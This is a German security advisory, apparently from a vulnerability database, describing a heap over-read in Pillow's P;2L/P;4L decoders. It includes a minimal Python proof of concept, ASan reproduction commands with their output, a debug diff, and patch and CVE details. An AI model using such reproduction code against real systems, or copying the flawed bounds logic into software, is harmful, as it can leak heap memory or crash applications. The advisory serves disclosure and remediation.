Pillow: P;2L- und P;4L-Decoder können 1 bis 3 Bytes über die Puffergröße hinaus lesen
Zusammenfassung
Unter main ist es selbst mit der Schutzprüfung in #9725 möglich, dass diese Decoder bei passender Breite und Höhe 1 bis 3 Bytes hinter dem Ende des übergebenen Puffers lesen.
Details
ImagingRawDecode und die Unpacker P;2L / P;4L stimmen nicht darin überein, wie viele Bytes eine Datenzeile belegt.
Der Raw-Decoder leitet die Zeilengröße aus den Bits pro Pixel ab:
state->bytes = (state->xsize * state->bits + 7) / 8;
und verwendet diesen Wert sowohl für die Grenzprüfung als auch zum Weiterrücken zur nächsten Zeile. Für P;2L und P;4L ist bits jeweils 2 beziehungsweise 4.
Diese beiden Raw-Modi sind jedoch keine gepackten Pixel, sondern 2 oder 4 Bit-Ebenen, die jeweils auf eine ganzzahlige Anzahl von Bytes aufgefüllt werden. unpackP2L berechnet s = (pixels + 7) / 8 und liest Ebene k bei Offset k * s, und unpackP4L verfährt analog über vier Ebenen. Ihr tatsächlicher Speicherbedarf ist daher planes * ((xsize + 7) / 8).
Bei bestimmten Breiten führt das separate Auffüllen jeder Ebene dazu, dass dieser Speicherbedarf größer als state->bytes ist. Beispielsweise berücksichtigt der Decoder bei einer Breite von 1 ein Byte, während die Unpacker zwei oder vier Bytes lesen. Der Decoder akzeptiert Daten, die für die letzte Zeile zu kurz sind, und rückt andererseits um weniger als eine Zeile zu nachfolgenden Zeilen vor, sodass jede Zeile nach der ersten ebenfalls von einem falschen Offset gelesen wird.
Die Prüfung in #9725 ist hierfür unpassend dimensioniert:
- Sie kann Daten mit korrekter Länge ablehnen: Ein Bild der Größe 8x1
P;2Lumfasst 2 Bytes, wird jedoch nicht akzeptiert. - Sie akzeptiert weiterhin Puffer, die kürzer sind, als die Unpacker für eine gegebene Bildform verlangen.
- Sie misst die Länge mit
len(data), was einer Elementanzahl statt einer Byteanzahl entspricht; beispielsweise wirdmemoryview(array("I", [0,0,0,0,0]))(20 Bytes) abgelehnt, währendmv.tobytes()akzeptiert wird.
PoC ( ghsa_p2l_p4l.py)
from array import array
from PIL import Image
# 1 byte past
Image.frombytes("P", (1, 4), array("B", [0] * 4), "raw", "P;2L")
# 3 bytes past
Image.frombytes("P", (1, 8), array("B", [0] * 8), "raw", "P;4L")
ist die nahezu einfachste Reproduktion.
(array wird benötigt, damit ASan zuverlässig anschlägt, aber das Überlesen ist z. B. mit Byte-Literalen beobachtbar. Python allokiert bytes-Objekte standardmäßig mit einem zusätzlichen nachgestellten Nullbyte aus einer Arena, weshalb ASan das Überlesen sonst nicht registriert.)
Auf einem Mac lässt sich ASan wie folgt auslösen mit:
export asan=$(clang -print-file-name=libclang_rt.asan_osx_dynamic.dylib)
env CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" LDFLAGS="-fsanitize=address" uv pip install -e .
env DYLD_INSERT_LIBRARIES=$asan PYTHONMALLOC=malloc ASAN_OPTIONS=detect_leaks=0 python3 ghsa_p2l_p4l.py
Ausgabe:
python3(29144,0x202fea2c0) malloc: nano zone abandoned due to inability to reserve vm space.
unpackP2L: in=0x602000037370 i=0 j=0 pixels=1 reads 0x602000037370 0x602000037371
unpackP2L: in=0x602000037371 i=0 j=0 pixels=1 reads 0x602000037371 0x602000037372
unpackP2L: in=0x602000037372 i=0 j=0 pixels=1 reads 0x602000037372 0x602000037373
unpackP2L: in=0x602000037373 i=0 j=0 pixels=1 reads 0x602000037373 0x602000037374
=================================================================
==29144==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000037374 at pc 0x00010778c684 bp 0x00016d029f40 sp 0x00016d029f38
READ of size 1 at 0x602000037374 thread T0
#0 0x00010778c680 in unpackP2L+0x17c (_imaging.cpython-314-darwin.so:arm64+0xb4680)
#1 0x000107765360 in ImagingRawDecode+0x348 (_imaging.cpython-314-darwin.so:arm64+0x8d360)
#2 0x0001076f259c in _decode+0x15c (_imaging.cpython-314-darwin.so:arm64+0x1a59c)
#3 0x0001030d921c in method_vectorcall_VARARGS.llvm.8905850704545875072+0x84 (python3.14:arm64+0x10030521c)
#4 0x000102e585b8 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x13c (python3.14:arm64+0x1000845b8)
#5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)
#6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)
#7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)
#8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)
#9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)
#10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)
#11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)
#12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)
#13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)
#14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)
#15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)
#16 0x000194c86b94 (<unknown module>)
0x602000037374 is located 0 bytes after 4-byte region [0x602000037370,0x602000037374)
allocated by thread T0 here:
#0 0x0001044a130c in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d30c)
#1 0x000102f22324 in newarrayobject+0x6c (python3.14:arm64+0x10014e324)
#2 0x000102f21b4c in array_new+0x320 (python3.14:arm64+0x10014db4c)
#3 0x0001030fc390 in type_call+0x5c (python3.14:arm64+0x100328390)
#4 0x000102e58ae4 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x668 (python3.14:arm64+0x100084ae4)
#5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)
#6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)
#7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)
#8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)
#9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)
#10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)
#11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)
#12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)
#13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)
#14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)
#15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)
#16 0x000194c86b94 (<unknown module>)
SUMMARY: AddressSanitizer: heap-buffer-overflow (_imaging.cpython-314-darwin.so:arm64+0xb4680) in unpackP2L+0x17c
Shadow bytes around the buggy address:
0x602000037080: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x602000037100: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x602000037180: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x602000037200: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x602000037280: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
=>0x602000037300: fa fa 00 fa fa fa 00 00 fa fa fd fa fa fa[04]fa
0x602000037380: fa fa 04 fa fa fa fd fd fa fa fd fd fa fa fd fd
0x602000037400: fa fa fd fd fa fa fd fd fa fa fd fa fa fa 00 fa
0x602000037480: fa fa 01 fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000037500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000037580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
(Um ein anderes Verhalten bei unpackP4L zu beobachten, kann der Fall P;2L auskommentiert werden.)
Die obige Ausgabe entstand mit unpackP2L und unpackP4L basierend auf 5eee92031a1986dfdaac7c78cdf0b764c0697118, vereinfacht instrumentiert zur Ausgabe der gelesenen Werte:
diff --git a/src/libImaging/Unpack.c b/src/libImaging/Unpack.c
index a51568209..4f867737a 100644
--- a/src/libImaging/Unpack.c
+++ b/src/libImaging/Unpack.c
@@ -548,6 +548,8 @@ unpackP4(UINT8 *out, const UINT8 *in, int pixels) {
}
}
+#include <stdio.h>
+
static void
unpackP2L(UINT8 *out, const UINT8 *in, int pixels) {
int i, j, m, s;
@@ -555,6 +557,8 @@ unpackP2L(UINT8 *out, const UINT8 *in, int pixels) {
m = 128;
s = (pixels + 7) / 8;
for (i = j = 0; i < pixels; i++) {
+ fprintf(stderr, "unpackP2L: in=%p i=%d j=%d pixels=%d reads %p %p\n",
+ in, i, j, pixels, in + j, in + j + s);
out[i] = ((in[j] & m) ? 1 : 0) + ((in[j + s] & m) ? 2 : 0);
if ((m >>= 1) == 0) {
m = 128;
@@ -570,6 +574,8 @@ unpackP4L(UINT8 *out, const UINT8 *in, int pixels) {
m = 128;
s = (pixels + 7) / 8;
for (i = j = 0; i < pixels; i++) {
+ fprintf(stderr, "unpackP4L: in=%p i=%d j=%d pixels=%d reads %p %p %p %p\n",
+ in, i, j, pixels, in + j, in + j + s, in + j + 2 * s, in + j + 3 * s);
out[i] = ((in[j] & m) ? 1 : 0) + ((in[j + s] & m) ? 2 : 0) +
((in[j + 2 * s] & m) ? 4 : 0) + ((in[j + 3 * s] & m) ? 8 : 0);
if ((m >>= 1) == 0) {
Auswirkungen
Nur ein sehr spezifischer Anwendungsfall ist betroffen: Aufrufe von Image.frombytes() oder Image.frombuffer() in der oben gezeigten Form.
Der PCX-Decoder, welcher die einzige Pillow-interne Komponente ist, die die Unpacker P;2L und P;4L verwendet, packt PCX-Zeilen bereits in ein Format um, bei dem Pufferüberläufe kein Problem darstellen.
Die Auswirkung besteht darin, dass bis zu 1 Byte (P;2L) bzw. 3 Bytes (P;4L) des auf den Puffer des Aufrufers folgenden Heap-Speichers gelesen und in die Pixelwerte der letzten dekodierten Zeile(n) eingemischt werden (ein Bit pro betroffener Ebene pro Pixel). Ein Absturz ist ebenfalls möglich, falls der Lesezugriff auf nicht zugeordneten Speicher trifft.
Soweit feststellbar, sind alle veröffentlichten Pillow-Versionen vor dem Fix betroffen.
Hinweise
Diese Erkenntnisse waren kurzzeitig (jedoch ohne Details) in https://github.com/python-pillow/Pillow/pull/9723#issuecomment-5566006996; öffentlich. Andrew bat darum, den Kommentar zurückzuziehen und stattdessen diese Meldung einzureichen.
Was zu tun ist
Aktualisieren Sie Pillow auf Version 13.0.0 oder höher.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | pillow | < 13.0.0 | 13.0.0 |
Verweise
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-4558-3h8r-v8xp
- https://nvd.nist.gov/vuln/detail/CVE-2026-112394
- https://github.com/python-pillow/Pillow/pull/9723
- https://github.com/python-pillow/Pillow/commit/392ee6f0d19a4adb766a63e9a99f3c28193b8d31
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N- Schwäche (CWE)
CWE-126- Plattform
- Python (PyPI)
- Paket
pillow- Veröffentlicht
- 21.10.2026
- Aktualisiert
- 22.10.2026 00:11
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-4558-3h8r-v8xp - CC BY 4.0
Schwachstellenhistorie: pillow
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 89
- Erste → letzte
- 04.2014 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 1
Verteilung nach Schweregrad
- Kritisch 12
- Hoch 57
- Mittel 18
- Niedrig 1
- Nicht bewertet 1
Veröffentlichungen pro Jahr
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 20
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 31
früher: 12
-
Pillow: P;2L- und P;4L-Decoder können 1 bis 3 Bytes über die Puffergröße hinaus lesen dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.